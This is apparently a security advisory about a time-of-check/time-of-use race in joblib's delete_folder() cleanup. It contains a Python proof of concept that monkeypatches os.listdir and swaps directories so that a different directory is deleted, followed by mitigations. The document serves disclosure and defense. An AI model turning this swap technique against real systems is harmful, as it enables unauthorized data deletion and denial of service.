YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Title
Race Condition in joblib.disk.delete_folder() Allows Deletion of a Swapped Directory Path
Severity
Medium
CVSS v3.1
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H
Affected Component
joblib.disk.delete_folder()joblib.disk.rm_subdirs()
Summary
A race condition vulnerability exists in the temporary directory cleanup logic of Joblib. The delete_folder() function performs non-atomic path validation before recursively deleting directories with shutil.rmtree().
An attacker capable of modifying the target path concurrently can swap the validated directory with another directory before deletion occurs. This may result in unintended directory deletion.
Technical Details
The vulnerable function follows this sequence:
- Verify the target using
os.path.isdir(folder_path) - Read the directory contents using
os.listdir(folder_path) - Delete the directory using
shutil.rmtree(folder_path)
Because these operations are not atomic, an attacker can rename or replace the target directory between the validation and deletion phases.
The issue is located in:
if os.path.isdir(folder_path):
files = os.listdir(folder_path)
shutil.rmtree(folder_path, ignore_errors=False, onerror=None)
This creates a classic Time-of-Check Time-of-Use (TOCTOU) race condition.
Impact
A local attacker with filesystem access to the temporary directory hierarchy may be able to:
- Cause unintended deletion of directories
- Interfere with cleanup operations
- Trigger denial of service conditions
- Manipulate temporary resource handling
Impact depends on the privileges of the affected process and the level of attacker control over the temporary directory structure.
Proof of Concept
The following PoC demonstrates that a validated directory path can be swapped before deletion, causing a different directory to be removed.
#!/usr/bin/env python3
import os
import tempfile
import threading
import time
from pathlib import Path
from joblib.disk import delete_folder
import joblib.disk as disk
def main():
with tempfile.TemporaryDirectory(prefix="joblib_poc_") as tmp:
root = Path(tmp)
checked = root / "checked"
victim = root / "victim"
checked_old = root / "checked_old"
checked.mkdir()
victim.mkdir()
(checked / "marker_checked.txt").write_text("checked dir")
(victim / "marker_victim.txt").write_text("victim dir")
original_listdir = disk.os.listdir
race_started = threading.Event()
def delayed_listdir(path):
race_started.set()
time.sleep(0.25)
return original_listdir(path)
def attacker_swap():
race_started.wait(timeout=2)
os.rename(checked, checked_old)
os.rename(victim, checked)
attacker = threading.Thread(target=attacker_swap, daemon=True)
disk.os.listdir = delayed_listdir
try:
attacker.start()
delete_folder(str(checked), allow_non_empty=True)
finally:
disk.os.listdir = original_listdir
attacker.join(timeout=2)
print("=== Result ===")
print("checked exists :", checked.exists())
print("checked_old exists :", checked_old.exists())
print("victim exists :", victim.exists())
if checked_old.exists() and not checked.exists():
print("[+] Race demonstrated")
if __name__ == "__main__":
main()
Reproduction
- Install Joblib
- Save the PoC as
poc.py - Execute:
python3 poc.py
Expected Result
Only the originally validated directory should be deleted.
Actual Result
A different directory can be deleted after a path swap occurs during the race window.
Mitigation
- Avoid non-atomic check-then-delete patterns
- Resolve and validate paths immediately before deletion
- Use inode or file descriptor based validation where possible
- Add symlink and path consistency protections
- Minimize race windows during cleanup operations
References
joblib/disk.pydelete_folder()rm_subdirs()